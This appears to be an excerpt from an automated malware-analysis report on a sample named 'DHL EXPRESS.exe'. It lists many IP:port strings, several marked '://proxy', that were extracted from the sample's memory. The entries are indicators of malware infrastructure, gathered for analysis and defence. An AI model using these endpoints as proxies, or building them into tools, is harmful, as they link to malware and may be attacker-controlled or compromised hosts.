Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.73.224.54:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.73.224.54:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.79.107.158:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.79.107.158:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.80.19.207:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.80.19.207:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.152.3.36
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.152.3.36://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.152.3.36:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.178.159.199:18080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.178.159.199:18080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.212.22.168:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.212.22.168:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.233.119.172:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.233.119.172:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.248.238.110
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.248.238.110://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.248.238.110:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.16:17188
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.16:17188://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC51B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.16:29796
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC48C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.16:29796://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.16:39713
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.122.16:39713://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.37.196.189:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.37.196.189:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.38.44.6:46303
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.38.44.6:46303://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://57.128.163.242:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://57.128.163.242:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.20.248.139:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.20.248.139:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.234.116.197
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.234.116.197://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.234.116.197:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.234.116.197:8197
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.234.116.197:8197://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.246.58.150:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.246.58.150:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.69.201.117:8082
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.69.201.117:8082://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.75.126.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.75.126.235:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.75.126.235:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.84.32.118:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://58.84.32.118:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.126.92.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.126.92.130:33333
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.126.92.130:33333://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.15.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.15.28.76:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.15.28.76:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.153.158.19:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.153.158.19:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.92.70.176:3127
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.92.70.176:3127://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.98.4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.98.4.70:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://59.98.4.70:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://60.188.102.225:18080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://60.188.102.225:18080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://60.223.244.119:10800
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://60.223.244.119:10800://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.110.5.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.110.5.2://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.110.5.2:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.111.38.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.111.38.5://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.111.38.5:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.129.2.212:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.129.2.212:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.133.66.6
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.133.66.69:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.133.66.69:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.230.151.39
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.230.151.39://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.230.151.39:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.138.243:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.138.243:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.149.4:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.149.4:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.183.10
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.183.101:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.183.101:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.184.216:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.7.184.216:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://61.79.73.225
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.122.201.246:50129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.122.201.246:50129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.141.70.118
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.141.70.118://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.141.70.118:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:25847
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:25847://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:29497
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:29497://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:41055
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:41055://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:44827
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.131.101:44827://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.133.66:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.133.66:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.184.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.184.96:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.171.184.96:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.182.114.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.182.114.164:59623
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.182.114.164:59623://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.201.212.198:4673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.201.212.198:4673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.201.220.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.201.220.50:60212
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.201.220.50:60212://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.244.227.65:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.244.227.65:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.53.24
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.53.248:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.53.248:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.72.57.240
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.99.138.162
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.99.138.162://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.99.138.162:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.124.145.1:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.124.145.1:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.108.182:14287
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.108.182:14287://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.108.25:31908
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.108.25:31908://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.134.208
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.134.208://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.134.208:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7E4000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.4.90:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.4.90:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.44.139.12:20037
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.44.139.12:20037://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.90.51.168:55552
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.90.51.168:55552://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.40.47:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.40.47:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.109.152.88:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.109.152.88:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.109.211.101:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.109.211.101:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.131.27://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.131.27:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.210.33.34:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.210.33.34:8080://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.211.155.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.211.155.34:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.211.155.34:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.225.246.238:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.225.246.238:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.140.209:8899
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.140.209:8899://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:14791
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:14791://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:17464
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:17464://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:44809
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:44809://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:7841
